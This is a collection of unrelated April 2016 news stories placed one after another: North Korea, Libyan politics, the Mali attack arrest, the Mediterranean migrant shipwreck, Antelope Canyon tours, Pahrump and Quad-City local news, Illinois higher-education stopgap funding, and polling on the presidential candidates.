Reports periodically surface about unusual troops movements on the border, which are hard to verify independently and generally quickly denied by the Chinese government.

North Korea has vowed to conduct further nuclear tests, despite stepped up international sanctions.

Some experts expect North Korea to conduct a fifth nuclear test in the near future, possibly before a ruling party congress in early May, following an embarrassing failure of a test of an intermediate-range missile earlier this month.

China is North Korea's most important economic and diplomatic backer, but has been infuriated by North Korea's nuclear and missile tests and has signed on for tough U.N. sanctions.

North Korea and the rich, democratic South are still technically at war after the 1950-53 conflict ended in an armistice, not a treaty. China and North Korea fought side-by-side against a U.S.-backed South Korea, which joined forces under the U.N. flag.
The parliament's approval is a vital part of a U.N.-backed plan to reconcile the administration set up by the recognised parliament in Libya's far east with an alliance that took over Tripoli in 2014 and declared its own government and assembly.

As Prime Minister Fayez Seraj starts to set up government in a capital still dominated by various armed brigades, the eastern parliament has yet to say it will take part, with uncertainties over future control of the military a major concern.

They urged it to swear an oath in front of the parliament by the end of next week in a location to be determined.

The West sees the Government of National Accord (GNA), formed under a deal agreed in December, as the best chance to end political turmoil since the overthrow of Muammar Gaddafi in 2011 that led to a rise in factional fighting and Islamist militancy, and are urging the eastern parliament to agree.

But politicians close to Libya's eastern armed forces and its powerful commander, Khalifa Haftar, have blocked a vote, saying they want to protect the military's future role.

Haftar's forces have made significant gains in the eastern city of Benghazi, where they launched a campaign against Islamist groups and other opponents two years ago.

In their statement, the pro-GNA members of the eastern House of Representatives renewed a call to amend the U.N.-mediated deal, cancelling a clause that would transfer military appointments to the new administration.

The GNA leadership and the United Nations have urged the eastern parliament to adopt the deal in its entirety. Under the plan, the eastern parliament would share lawmaking duties with a second chamber comprising of members of the rival parliament that was set up in its absence.

U.N. envoy Martin Kobler, who was in the east earlier this week to lobby members of parliament, expressed his "profound disappointment" at the failure to vote, saying in a statement:
The attacks left over 25 people dead.

"Fawaz Ould Ahmed, known as Ibrahim, is thought to be the brain behind the attacks on the restaurant La Terrasse in March 2015, the hotels Radisson Blu in November 2015, and Nord-Sud in March 2016, a statement said.

It noted that the attack against Radisson Blu, killed over 20 people.

However, Ahmed was detained by Malian Special Forces in the night between April 21 and 22 in Bamako.
Nene said on Thursday in an interview with Business Day TV that his appointment will be full-time for a term of two years effective from next month.

"This is interesting that I find myself in the public sector again," he said.

On Monday, Asset management group Allan Gray appointed Nene as a non-executive director, hoping to tap his strategic and leadership skills.

President Jacob Zuma fired Nene, who was keen to rein in government spending in Africa's most industrialised economy, in December, replacing him with little-known David van Rooyen.
Up to 500 people are believed to have died in last week's disaster, when an overcrowded boat sank in the southern Mediterranean. Just 41 people were eventually saved by a passing merchant ship and brought to Greece on April 16.

Muaz Mahmud, 25, from Oromia in Ethiopia, managed to escape the packed vessel as it was sinking and clambered onto a nearby boat. However, a people smuggler prevented them from helping others still in the sea, saying they had to leave immediately.

"I told him 'don't start motor please we have to save these people'. He took a knife. "I am going to kill you, we don't stand here,and then I just cried," Mahmud told reporters, speaking in broken English.

He had been with his wife and 2-month-old baby, having paid $1,800 each for the passage. They are feared drowned.

While the handful of survivors recounted their tales of horror, families of those still missing, many of whom were believed to be from Somalia, described how their relatives had hoped to reach Europe and escape poverty.

In Somalia's bombed-out capital, the parents of Mohamed Farah, 25, are still awaiting word of his fate. His family and friends had scraped together thousands of dollars to help him to make the perilous trip over land and sea to Europe. They have been told his picture was not among those of the survivors.

"Is he alive or dead? His mother has not eaten food for days," said Ali Nur, his 23-year-old cousin and friend. "The agent (trafficker) is the criminal behind the disaster. He got rich from the Somalis drowning in the sea."

The stories from the survivors and grieving relatives give a clear timeframe for one of the worst such tragedies in recent years, showing not just the dangers of the journey but also the relative sophistication of the human trafficking ring.

More than 150,000 migrants reached Italy by boat last year, with some 25,000 arriving so far this year. About 800 are believed to have died trying to make the crossing since January.

NIGHTTIME RENDEZ-VOUS

Mohamed Farah left Mogadishu in early February, travelling through Somaliland, Ethiopia and Sudan before reaching Egypt. On April 8 he called home to say he was set to leave, having paid about $3,000 for his place on the boat.

"'We are going to sail, please pray for me, parents,'" Nur quoted him as saying in that final call.

It is not clear when precisely he put to sea, but survivors have said one boat with up to 300 people aboard departed somewhere from Egypt, while a second, smaller boat, carrying up to 200, left from near Tobruk in eastern Libya.

Many hours after putting to sea, these two vessels met up in the dead of night, probably on April 13. The smugglers transferred almost everyone onto the bigger boat, at which point it started taking in water. Survivors and officials say that between 400-500 were probably on board when it sank.

"When this boat was falling, we started swimming to save our life to the other boat. Some survivors on the other boat threw something to us (to help us). We were 10 people," said Mahmud.

With others still swimming towards them, the smuggler started the engine and abandoned them.

"We saw the dead guys with our eyes," said Mowlid Isman, 28, from Mogadishu in Somalia. Like Mahmud, he had managed to reach the smaller boat before it left. His sister and her baby did not and are feared drowned.

"Other peoples' families died too. There wasn't anything we could do because they were in the water (and) we moved away," he said, speaking through an interpreter.

Survivors said the smuggler headed towards Italy but at a certain point he boarded a third boat to return to Libya.

He promised to return with water and food, but never reappeared. He also left a satellite phone, with an Italian number for them to call.

"I called. It was the police, I called them to help us," Mahmud said. One ship passed nearby but did not pick them up, he said. A second boat finally found them and took them to Greece.

The survivors -- 37 men, three women and a three-year-old child from Somalia, Ethiopia, Egypt and Sudan -- said they had drifted at sea for three days.

They are now in Athens and Greek non-governmental organization Praksis said they had all been given a one-month permit to stay in the country.

In Somalia, news of the disaster started to filter through on April 17. Farah's cousin said they got confirmation from a man nicknamed Magafe, which means 'he who never misses', who was the agent who had organised the doomed crossing.
While there are hundreds of stunning slot canyons in our region, most of them are difficult to reach and many require technical skills to explore them.

While there are hundreds of stunning slot canyons in our region, most of them are difficult to reach and many require technical skills to explore them.

Two of the best, however  tops on my list for being visually stimulating  are pretty easy to access.

Both are located on the Navajo Indian Reservation just outside of Page, Arizona. Late spring is an optimal time to go, as the weather isnt hot yet and the summer tourist season hasnt started yet.

The slots lie a few miles apart along Antelope Creek, a usually dry wash that drains into Lake Powell.

Upper Antelope Canyon is known to the Navajo as Tse bighanilini, meaning the place where water runs through rocks and Lower Antelope Canyon is called Hasdeztwasi or Spiral Rock Arches.

You will need to have an authorized guide or outfitter, available either in the town of Page or at the trailheads on Antelope Creek.

Be advised these are tremendously popular tours so you wont have solitude, but the natural beauty and photo opportunities of these canyons are well worth that minor shortcoming.

The majority of people visit one or the other of the slots but some tour companies offer a package deal for seeing both.

If you have enough time and energy to do both slots, I would recommend it, as each provides a different experience.

Upper Antelope Canyon is best for those with children or for people who dont want to climb up and down stairs.

To start a tour here, your guide will load you up in an open-air vehicle or other transportation and drive a few miles up the wash to the entrance.

Once inside the canyon, the walking is easy, though on soft sand.

The pinks, reds and oranges of the corkscrewing sandstone walls are amazing to see.

The sand was originally laid down in graceful waves, and though the sand long ago turned to stone, these waves are still visible and beautiful just worn from water.

While the canyon is only about 200 yards deep, a group awestruck by the formations and, of course, photographing them, will take some time to pass all the way in and out.

Because the canyons are so deep and narrow, the best light for photography is at midday through September, so plan your trip for that time if you can.

The Navajo consider these canyons to be spiritual places and most guides will give you lots of details on their culture. Some even will play the flute for visitors while inside the canyon.

Lower Antelope Canyon is a bit different because you need to negotiate stairs throughout.

This canyon has excellent formations as well, but because of the different natural light in this one, the colors appear to be more red, pink and purple.

As all slot canyons, these are extremely dangerous places to be during and after heavy rains. Water funnels down through them, in powerful flows bearing much mud and debris.

In 1997, 11 tourists visiting lower Antelope Canyon were killed in such a flash flood. Precautions established since then should keep you safe, as long as you heed them.

For tour guides and more information on visiting both canyons contact. (928) 645-9496. www.visitpagelakepowell.com/

Deborah Wall is the author of Base Camp Las Vegas, Hiking the Southwestern States, Great Hikes, A Cerca Country Guide, and co-author of Access For All, Touring the Southwest with Limited Mobility. Wall can be reached at Deborabus@aol.com.
With their win, Pahrump Valley has clinched a playoff spot in the 3A southern regional tournament. The Trojans need just one more win or a tie by Equipo Academy to lock up the No. 1 seed in the Mountain League.
Lucy Flores said she is the most progressive candidate running to challenge incumbent Republican Cresent Hardy for the 4th Congressional District.

Lucy Flores said she is the most progressive candidate running to challenge incumbent Republican Cresent Hardy for the 4th Congressional District.

Former state Assemblywoman Flores made Social Security, education and health care for all some of the pivotal points of her campaign.

She stopped at the Pahrump Nugget last week for the annual Roosevelt-Kennedy dinner, where she told the audience about her agenda.

In her address to Nye County Democrats, Flores said she was the most progressive candidate and touted her endorsement from Democratic presidential candidate Bernie Sanders. She was also endorsed by several progressive organizations including Democracy for America.

I have worked my entire life, I have worked so hard. And I am the person who is going to work the hardest for you, because your issues matter to me, they are personal to me, she said at the event.

Flores top rivals are Las Vegas philanthropist Susie Lee and state Sen. Ruben Kihuen. She said the differences between her and her opponents are very distinct.

I do draw a stark contrast between me and my opponents both in my record and what I stand for, my progressive agenda compared to their frankly more conservative agenda, she said.

Flores talked to the Pahrump Valley Times about some of the issues in rural parts of the 4th Congressional District. She answered questions about the BLM, rural infrastructure and Yucca Mountain.

She said turning over all of the federally-controlled land to the state of Nevada isnt reasonable.

It is far more expensive, we do not have the budget to take over federal lands throughout Nevada, Flores said.

Flores also said she doesnt support moving forward with Yucca Mountain.

Ultimately, I think that the negatives outweigh the benefits when it comes to Yucca Mountain, she said.

There are a number of different things that we can keep doing to focus on economic development in a way that makes sense for Pahrump. And I do think that it is very necessary and that it should be a top priority for whoever wants to represent this district in Congress, she said.

Flores said she wants not only protect Social Security but also expand it.

Im the only candidate whos been talking about health care for all and universal health care for everyone. Health care as a right in this country and not just for those who can afford it, she said.

If elected, Flores said she will prioritize the economy.

And then everything else is an offshoot, she said.

She also said she wants to remain focused on education.

Making sure that our young people in Pahrump have the exact same access to not only high quality K-12 education, but also access to higher ed and not being burdened with many thousands of dollars in student loans. I think its critical for us, she said.

She said about health care: Health care shouldnt be something that only the wealthy can afford.

Expanding Social Security would be important for a place like Pahrump where many retired people live check to check, Flores said.

I think thats important for the people of Pahrump to have someone whos willing to put themselves out there in an aggressive way to get them the benefits that they have earned, she said.

Flores will face off with Kihuen, Lee and five other Democratic candidates in the June 14 primaries. The winner is expected to go against Hardy in November.

Contact reporter Daria Sokolova at dsokolova@pvtimes.com. On Twitter: @dariasokolova77
A proposed bicycle plan set forth by the Nevada Department of Transportation drew a mixed reaction at the Regional Planning Commission last week.

A proposed bicycle plan set forth by the Nevada Department of Transportation drew a mixed reaction at the Regional Planning Commission last week.

The Nye County Bicycle Plan, which is part of a statewide bicycle plan, was brought up to gain approval by the planning commission, so it could then be reviewed at a county commission meeting in May for recommendation, but the vote drew a mixed reaction, as it passed 4-2 in favor of moving on.

The plans introduction states that the initial strategy for the state bike plan is for NDOT to assist local jurisdictions with adopting local bicycle plans that are endorsed by the Nevada Bicycle and Pedestrian Advisory Board.

The Nye County Bike Plan was created with that strategy in mind, according to NDOT. The plan notes the major factors of the state plan that are appropriate to Nye County with a concentration on documenting the existing and proposed infrastructure improvements wanted within Nye County.

The biggest question on the project that was presented in a 65-page informational packet, is where the money was coming from.

Since a representative from NDOT was not present, those questions could not be answered.

Regional planning chairman John Koenig explained that he thought the project made little sense, especially with other road issues still pending.

I dont know where we could get funding for something like this, Koenig said. We cant even fix the roads and the potholes we have, so Im not sure why wed want to give it to the board of county commissioners and further burden their meetings with something like this.

Koenig said hed rather see the effort being put into the bicycle plan be focused elsewhere.

Id rather see 65 pages on the pros and cons of stoplights versus traffic circles, Koenig said.

In those 60-plus pages of information on the project, the first few pages lists several areas of focus for the bicycle plan, including largest needs, biggest issues and greatest assets.

The largest needs were defined as increasing information on cycle tourism opportunities in the county and to create a bicycle tourism map with all the historical and scenic destinations locally that can be visited by bicycle.

The biggest issues were deemed to be the lack of bicycle facilities to the north and west of Pahrump and the lack of space for bicyclists on the highway through Tonopah and to the north and south.

The greatest assets listed in the county for the bike plan were the dirt roads from Mountain Pass to Pahrump, which were noted as a great opportunity for mountain bike trails and the parallel roads to the state highway, as it can get you from one side of Tonopah to the other without using the highway.

One board member in favor of the bicycle plan, Gregory Hafen, said he is an avid cyclist and showed the plan to fellow riders. They explained that Pahrump lacks paths now and that ones in place are used often. Paths running to the schools in town are needed, and even though they are mentioned in the plan, the map of the proposed paths did not include those, which he said are important.

More is better than what we have now, Hafen said.

Planning member Robert Adams saw the use of the bicycle lanes differently, as he explained that he doesnt see much action on one of the main existing bike paths in town.

I go down Homestead often and I look at that bicycle path, its got weeds growing all over it, and I dont see a great deal of usage on it, Adams said.

Hafen explained that the reason why there isnt much use on the pathways is because of the prevalence of deterrents on the path.

The reasons you dont see many people cycle on the pathway on Homestead is because its covered in rocks, Hafen said. If you go down Manse Road where it is maintained with street sweepers that is used quite frequently.

If you go there on a Saturday morning you will see quite a few cyclists using it. With our little skinny tires, we dont play around with gravel.

Koenig agreed with Hafen that adding bike lanes is needed in town, but he added that adding them as they fix roads around town is the best option in his opinion.

Going forward right now were doing bike paths and sidewalks and gutters, he said.

Not all areas are getting those upgrades, but it was recommended in public comment by Michael Lach, a cyclist who rides 6,000 miles a year, that any road with a speed limit of 45 miles per hour or higher should have bike lanes, three feet in width installed on each side of the roadways.

Those are the roads that you run into the issues because drivers always go 10 miles an hour over, so now youre looking at 45 to 55 mph, Lach said. Riding a bike and theres no shoulder, and cars are passing you at 55, its not a fun experience.

Planning member Vincent Clark explained that he would rather see the funds that would be used on the bike project put toward roadways.

We desperately need paved roads in this county that are rapidly turning into unpaved roads, Clark said. I think we need to spend the money fixing the roads before we start building bicycle paths.

Koenig explained that once NDOT installed the proposed bike lanes on the two major highways in town that they maintain, that then the county should look at the plan realistically.

I would suggest to NDOT for the bicycle paths of 160 and 372, that then well reconsider the rest of the plan, Koenig said. Thats where I run into them all the time.

With the planning commission voting in favor of passing the bike project to the county commission, the issue will be brought up next month and the hope is that NDOT is present to deem whether or not to go on with the plan as is, to make any changes to the existing plan or even to scrap the plan for the time being altogether.

Contact reporter Mick Akers at makers@pvtimes.com. Follow @mickakers on Twitter.
New leaders of the Nye County Republican Central Committee want to unite its members.

New leaders of the Nye County Republican Central Committee want to unite its members.

New Chairman Joe Burdzinski said his top priority is to get more people involved in the committee and get more people to register as Republicans.

My philosophy is that a good chair listens to the membership, provides direction as far as letting all sides speak their piece so that a decision can be made without my prejudice being involved with it as much as possible, he said.

At the April 16 meeting, members of the committee selected Burdzinski and LisaMarie Johnson as vice chair.

Additionally, members of the committee selected a new delegation to the Nevada Republican Party and formed a new executive committee for the NCRCC.

Burdzinski and Johnson talked to the Pahrump Valley Times on Wednesday about their vision for the NCRCC.

Burdzinski moved to Pahrump last year from Macomb Township, a northern suburb of Detroit. He said he fell in love with the town when he came to visit his brother-in-law in 2014.

Like the small-town atmosphere if you will. I like the individuality, the people, he said.

Burdzinski quickly got involved in local politics. Last year, he attended the fifth presidential GOP debate in Las Vegas and met with Nevada Republican Party Chairman Michael McDonald.

Burdzinski also was the chairman of the Ted Cruz campaign in Nye County.

Politics was always something that I was just passionate about and liked to do, he said. I started off when I was 21 years old and I havent left.

He is currently retired but worked as an auto mechanics teacher and administrator in a community college in Michigan.

Johnson first came to Pahrump in 2011 when she worked for the Ron Paul campaign. Prior to getting involved in politics she worked in advertising and public relations.

Pretty quickly after I got involved in politics, I started realizing this is really where my passion was, she said.

Most recently, Johnson worked for the John Kasich campaign for several days.

Johnson and Burdzinski are Nye County delegates to the Nevada Republican Convention in Reno that will take place on May 14-15.

Burdzinski said he now wants to unite constituents of different presidential candidates ahead of the general election.

People get very passionate about a candidate they support. Once the primarys done and emotion kind of goes away, everybody will join together and thats what our job is, to bring us all together, he said.

Burdzinski competed against Pahrump political activist Dave Caudle for the seat. Burdzinski said he was backed by members of the committee who support different presidential candidates.

It shows that, and I believe that we can bring us all together, so we are a strong united front, he said.

Johnson and Burdzinski will both serve for a year, replacing former chairman Bill Carns and former vice chairman Leo Blundo, who is now running for Nye County Commission District III.

I think that we are going to work very well together, Burdzinski said about Johnson. I think that philosophically we are very close on our political philosophies.

Contact reporter Daria Sokolova at dsokolova@pvtimes.com. On Twitter: @dariasokolova77
Its that time of the year again for the Valley Electric Association Annual Meeting and this year, as in years past, a special guest will be on hand to deliver the days most important speech.

Its that time of the year again for the Valley Electric Association Annual Meeting and this year, as in years past, a special guest will be on hand to deliver the days most important speech.

Lt. Gov. Mark Hutchison will be the keynote speaker at the annual meeting Saturday, taking place at Pahrump Valley High School at 501 E. Calvada Blvd., beginning at 11 a.m.

Hutchison will give VEA member-owners an economic update of Nevada during his speech. Last years special guest speaker was Mark Hall-Patton, administrator of the Clark County Museum System and a regular on the Las Vegas-based reality show, Pawn Stars.

In addition to Lt. Gov. Hutchinson, Jason Mendenhall, executive vice president of Cloud at Switch, a Las Vegas company and the developer and operator of the SUPERNAP, a data center facility that provides colocation, telecommunications, cloud services and content ecosystems.

The annual meeting is the cooperatives biggest event each year, with hundreds of VEA members expected to attend. All community members from across the service area are invited.

The meetings purpose is to provide members with information about VEAs projects, member-focused initiatives and its future endeavors.

The co-ops CEO, Tom Husted, will give a presentation at the event and this years VEA scholarship recipients will be announced at the meeting as well.

The Annual Meeting serves as a great opportunity for community members to learn about VEAs tremendous progress and our expectations for the future, Husted said. We look forward to providing our member-owners with an exciting and informative event that showcases the benefits of VEAs member-focused mission.

Hutchison is serving his first term as lieutenant governor and also served in the Nevada State Senate.

Hutchison spent six years as a member of the Nevada Commission on Ethics, eventually becoming chairman prior to being elected to the Senate.

Hutchison also serves as the chairman of the Commission on Tourism, vice chairman of the state Board of Transportation, a member of the Board of the Governors Office of Economic Development, and a member of the Executive Budget Audit Committee.

Appointed to the Governors Commission on Homeland Security, Hutchinson was later named to the commissions subcommittee on cybersecurity. Hutchison also serves as a member of the Board of Directors for the Public Education Foundation and as co-chair of Whats Next Nevada?

Registration for the VEA Annual meeting will begin at 11 a.m. Lunch will be served at 11:30 a.m., and the business meeting will begin at 1 p.m.

The meeting is free for community members, and it will include lunch, prize drawings and a variety of other benefits for VEA members. For more information, call 775-727-2189.

If you need help traveling to the event, VEA will provide complimentary transportation to members in outlying areas. A bus will begin loading at 9:15 a.m. on Saturday at the Beatty Community Center located at 100 A Ave. South in Beatty. The bus will depart for the meeting at 9:30 a.m.

Contact reporter Mick Akers at makers@pvtimes.com. Follow @mickakers on Twitter.
Following a three-year absence, volunteers are hoping to relaunch Scott County Pheasants Forever, a group focused on wildlife conservation and youth hunting.

Volunteers are actively working to reorganize the chapter here and are looking for others to help with fundraising and youth project planning.

Hunters and conservationists interested in joining the chapter are encouraged to attend the Scott County Pheasants Forever meeting next week.

WHEN: 6 p.m. Wednesday, April 27

WHERE: Rusty Nail Bar & Grill, 2606 W. Locust St., Davenport

DETAILS: For more information on Pheasants Forever in Iowa, visit the state's website at www.IowaPF.org, or contact Don Collins, Quad-City area representative, at 563-370-1676.
The human remains discovered on Big Island in Rock Island last week have been identified.

Rock Island County Coroner Brian Gustafson on Friday notified the parents of James DePaepe, 51, previously of Milan, that their son no longer is missing. Known as "Jimmy," DePaepe was reported missing after he last was seen June 30, 2014.

Police had searched an area of Mill Creek in Rock Island and Milan, because DePaepe was homeless and preferred spending time along the waterway.

"Dental records confirm it 100 percent," Gustafson said.

Foul play has not been ruled out, he added.

"The investigation remains ongoing by the Rock Island County Sheriff's Department and by the Rock Island County Coroner's office," he said.

Previous news reports indicated DePaepe had told many friends prior to his disappearance that he won money on an Illinois Lottery scratch ticket.

His remains were found April 14 near the Mississippi River shoreline, in a wooded area under the Interstate 280 bridge. A cadaver dog assisted sheriff's deputies in locating additional remains, which then were taken to Springfield for further study.
Quad-City area colleges and universities were welcoming an expected infusion of cash on the heels of Illinois state lawmakers approving a $600 million stopgap funding bill for higher education on Friday.

As they're waiting for their checks, however, colleges also are eager to see the state resolve the 10-month-old budget stalemate and eventually restore full funding.

"This will buy us some time, if we get the cash next week," Matt Bierman, the budget director at Western Illinois University, said Friday.

The college will get $20 million from Friday's measure, Bierman said. The money will go into operations. The college has been using cash reserves and spent $11 million to cover the Monetary Award Program, or MAP, grants that go to low-income students.

Officials at Black Hawk College have much the same plans for the $1.9 million that it expects to get from Friday's action. The college will put the money into its operating fund, said college president Bettie Truitt.

Black Hawk also covered MAP grants for students last fall but not for the spring semester.

Colleges across the state have been tightening their belts amid the budget impasse.

Western last week announced that 110 non-instructional staff would be laid off because of the budget crunch. Bierman said Friday's action is unlikely to change that, but the move will be evaluated.

Black Hawk has 32 positions that are vacant.

Bierman said the university is appreciative that lawmakers and the governor came together to pass Friday's legislation. But he added, "now, let's move to the bigger issue of full funding."
SPRINGFIELD  Despite apparent bipartisan support, the Illinois House held off on voting Thursday night to approve a $600 million stopgap funding measure for higher education.

Universities, community colleges and grants to low-income students are among the last remaining state functions that aren't being funded amid the ongoing budget standoff between Republican Gov. Bruce Rauner and the Democratic-controlled General Assembly.

After hours of wrangling, the House appeared poised to approve the bill, but without offering an explanation, the bill's sponsor, Majority Leader Barbara Flynn Currie, D-Chicago, decided to hold it until today.

The measure would send 60 percent funding to Chicago State University and 31 percent funding to the rest of the state's universities.

For Eastern Illinois University, that would mean an appropriation of $12.5 million. Illinois State University would receive $20.9 million, and Southern Illinois University would receive $57.5 million. The bill also includes $74.1 million for community colleges, 27 percent of annual funding, and $167.6 million for grants through the Monetary Award Program, about a semester's worth of funding.

There was a proposal in the works earlier in the day that would have also funded social services, but it became mired in a disagreement between the governor's office and House Democrats over whether to include money from the state's general fund. Rauner has been opposed to signing budget bills that don't have dedicated funding attached.

Rep. Dan Brady, R-Bloomington, who represents Illinois State, was heavily involved in the negotiations with Democrats.

"I think what they want to try to do is to negotiate something more for social services," Brady said.

The bill the House was considering Thursday would draw money from the state's education assistance fund, which receives dedicate revenue from state income taxes, gambling and other sources.

There is another dedicated fund that has an estimated $400 million available for social services, which also have been deprived of funding by the budget impasse.

Brady said he would support a plan to get that money to providers but not attaching it to a higher education bill.

"We have a plan that would stabilize higher education for the next several months," he said.

Rep. Reggie Phillips, R-Charleston, said he hoped negotiations would continue overnight.

"The votes were there," said Phillips, who represents Eastern Illinois. "This would have passed."

The Senate wasn't scheduled to be in session toay but now will convene.
Belgian Village To Go will open at 11 a.m. next Thursday, April 28.

Katie Manning said she plans to keep the doors open until 7 p.m., but she may run out of food before then.

"Theres only so many sandwiches a person can make, so hopefully thats understandable," she said.

Customers can call Manning at 309-373-9522 between 3 p.m. and 6 p.m. next Monday through Wednesday to pre-order their meals before the grand reopening.

EARLIER UPDATE

The Belgian Village Inn, home of the legendary VandeReuben sandwich, is reopening this spring. Well, sort of.

Katie Manning, whose grandparents opened the landmark bar and restaurant in 1977, plans to reopen the restaurant, which closed in February 2014, with a limited menu of chilled  not grilled  rye and raisin bread sandwiches and desserts.

Ive been around this my whole life, Manning, 28, said from the maroon tavern on 7th Street in Olde Towne. Its one of those things where you dont know you really loved something so much until its gone, and I think a lot of people around here feel the same way.

Manning first broke the news last Saturday on Facebook when she created the page for the eatery under the new name, Belgian Village To Go. She plans to sell signature items, including oatmeal cookie dough and homemade bread, every Thursday starting later this month.

Initially, Ill probably have some help from friends and family, but this is just me, said Manning, who will commute to the Quad-Cities every week from her home in Cedar Rapids. Im making all the bread, all the sandwiches and all the dressings, and honestly, it will take me three to four days to prep for that one day of being open.

Manning added that her mother, Karen, is leading her through a crash course in baking and sandwich crafting. To jog your memory, the traditional hubcap-sized Reuben comes stacked with sauerkraut, corned beef, ham and Swiss cheese smothered in a secret sauce.

We dont know how its going to go, but were all behind it, said Karen, who noted that her daughter has rehabbed the kitchen and purchased new equipment. Theyre the exact same recipes, just made by younger hands.

Meanwhile, the 2,625-square-foot building remains up for sale. Mel Foster Co. lists the near century-old structure for $249,900.

If the building sells, thats fine, said Karen, whose parents, Denis and Loretta Cuervorst, started their culinary career baking bread in the house. The whole point is for her to be able to do this in any location.

As for the cold sandwich concept, Manning said she launched the idea two years ago on the restaurant's final day to keep up with the barrage of customers.

"We didn't have a grill big enough to cook them fast enough, but they flew out the door that way," she said, noting that people can grill the sandwiches at home. "It's a bit scary, but it's something I just had to do."
The 2016 presidential election is shaping up as an unpopularity contest of unprecedented proportions.

Assuming, as now appears most likely, that Hillary Clinton will win the Democratic nomination and that either Donald Trump or Ted Cruz becomes the Republican nominee, the general-election ballot is set to feature a choice between two candidates more negatively viewed than any major-party nominee in the history of polling.

Trump is, by far, the furthest underwater: The latest Wall Street Journal-NBC poll puts his net favorability rating at minus-41. A breathtaking 65 percent of registered voters see him negatively, versus 24 percent with a positive view, making him the most unpopular major party presidential candidate ever recorded. Cruz is at minus-23, with 49 percent viewing him negatively, 26 percent in a positive light.

To underscore the challenge facing the GOP, neither candidate has been viewed more positively than negatively by voters since the start of the campaign.

Clinton, by contrast, has a healthier (and more volatile) history with voters. Polls showed her favorables slightly ahead of her negatives when she formally launched her campaign last April. But her trajectory is unnerving. The new NBC-WSJ numbers have Clinton minus-24 (with 56 percent viewing her unfavorably and 32 percent favorably), almost double the gap just one month earlier.

"This is unprecedented," said Democratic pollster Mark Mellman. "It will be the first time in the history of polling that we'll have both major party candidates disliked by a majority of the American people going into the election."

Pause to let that sink in, to compare this dyspeptic situation with previous elections -- and consider the implications for governing.

Some historical perspective: All three candidates are more unpopular than the losing presidential candidate at any point during the last five election cycles, according to Gallup data.

If the nominees are Trump and Clinton, said Republican pollster David Winston, "You're probably looking somewhere in the neighborhood of three out of 10 Americans having a negative view of both. You could have a very frustrated electorate by the time we get to Election Day."

It sounds oxymoronic, but voters could elect a president that a majority of them view unfavorably. Assuming Clinton has the advantage over Trump, said Democratic pollster Peter Hart, "she is going to be elected, if she wins, in minus territory, which is something we've never had before."

Voters' assessments of candidates between April and Election Day tend to stay stable; the notable exceptions were Bill Clinton in 1992, who moved from minus-11 to plus-7 in the NBC-WSJ poll, and Barack Obama in 2008, who rose from plus-7 to plus-21. Hillary Clinton, given the roller-coaster nature of her ratings, may have the capacity to rise again.

Still, the unpopularity of the leading candidates reflects both their unique characteristics as polarizing personalities and the broader political sorting of the American electorate. As voters assemble themselves into reliably and increasingly intense red and blue blocs, their assessments of the opposing side harden.

Which raises questions about the potentially grim aftermath. History teaches that a new president's approval rating rises between Election Day and the inauguration. Americans become more charitably disposed to their new leader once the campaign has concluded, if only briefly.

Will the 45th president enjoy that luxury? Does presidential popularity even matter in an era of congressional gridlock?

Some political scientists think not, citing a shift in the locus of presidential authority away from legislating. "Presidential power is no longer the power to persuade," said Johns Hopkins political scientist Benjamin Ginsberg. "Popularity at one time was a major factor in a president's ability to govern, but we are in the era of the institutional president, where presidents rely on their administrative powers and the powers of the office, and less on public opinion."

If Clinton is elected, said Middlebury College political scientist Matthew Dickinson, "the fact that she may be one of the most unfavorably viewed presidents is not going to make a huge difference, because she's likely going to be running into a House controlled by Republicans and the Senate's going to be close either way. That's what really eats into your ability to govern, rather than your favorability ratings."

Perhaps. But the unfolding unpopularity contest cannot be a healthy sign for our democracy, nor a good omen for the presidency to come.
SPRINGFIELD  In a rare showing of bipartisan cooperation amid Illinois' nearly yearlong budget impasse, the General Assembly voted overwhelmingly Friday to approve $600 million in "stopgap" funding for higher education.

The House voted 106-2 and the Senate voted 55-0 to approve the measure, which includes money for public universities, community colleges and grants to low-income students through the Monetary Award Program, all which have been deprived of funding since the budget year began July 1. Republican Gov. Bruce Rauner's administration lauded the agreement and promised his signature.

With Chicago State University on the brink of closing at month's end, lawmakers were under pressure to come up with a plan to get money to the predominantly black South Side school and other financially beleaguered institutions, including Eastern Illinois, Western Illinois and Northeastern Illinois universities.

"What we did today was a very good thing," said Rep. Rita Mayfield, D-Waukegan, chairwoman of the House Black Caucus and a sponsor of the funding package. "We actually did save CSU."

She added that Eastern Illinois and Western Illinois, along with many community colleges, also are struggling.

Chicago State will get 60 percent the funding it received in fiscal year 2015, and the state's eight other university systems will get 31 percent.

That amounts to $12.5 million for Eastern Illinois, $20.9 million for Illinois State University and $57.5 million for Southern Illinois University. The bill also includes $74.1 million for community colleges  27 percent of annual funding  and $167.6 million for about a semester's worth of MAP grants.

Unlike previous bills Rauner has vetoed or threatened to veto, this measure draws its money from a specific source: the education assistance fund, which receives dedicated revenue from state income taxes and other sources.

Mayfield was quick to point out that this is not the end of the conversation on higher education funding for the current fiscal year.

"This right here is an emergency stopgap funding (bill) in order to provide a means for our universities, our community colleges to keep their doors open and the lights on," she said.

Rep. Dan Brady, R-Bloomington, who represents Illinois State and was heavily involved in discussions with Democrats, said he will continue negotiating and is "committed to work within a budget frame that we can afford."

"I don't have the crystal ball of what happens from here in budget negotiations," Brady said. "But I do know that the stopgap measure is critical to the universities right now, and that's what we did in a bipartisan fashion."

Southern Illinois President Randy Dunn said he's thankful for the funding that's been approved but will continue pushing for the remaining $140 million the university has requested from the state.

"We heard from both sides of the aisle, from both Republicans and Democrats, that there's a pledge to continue working," Dunn said, adding, "We will hold those officials to that pledge."

However, House Minority Leader Jim Durkin, R-Western Springs, said the funding approved Friday could end up being all that universities receive for the current fiscal year.

"I'm not quite sure we can get anything else done on higher ed," Durkin said.

Although the Senate approved the measure unanimously, not everyone was entirely pleased with it.

Sen. Dale Righter, R-Mattoon, said there should be some relief "that we have actually been able to come together to provide some drink of water to some people who have been crawling in the fiscal desert for some time."

But Righter said he was disappointed the bill didn't do more to help Eastern Illinois, which is in his district and has had to lay off hundreds of employees to keep its doors open.

With at least a short-term solution in place for higher education, social services remain the last major piece of the state budget not being funded.

The Senate approved a separate measure Friday, also on a 55-0 vote, that includes identical funding for higher education and $441 million for social services from another dedicated fund. That measure would fund many social service programs at 35 percent of what they received in fiscal year 2015.

The governor's office said that proposal doesn't have his support  yet.

"We look forward to working with the (General Assembly) to build on today's bipartisan momentum to ensure social services, public safety and public health are funded in the weeks ahead as we negotiate a balanced budget with reform for Fiscal Years 2016 and 2017," spokeswoman Catherine Kelly wrote in an email.
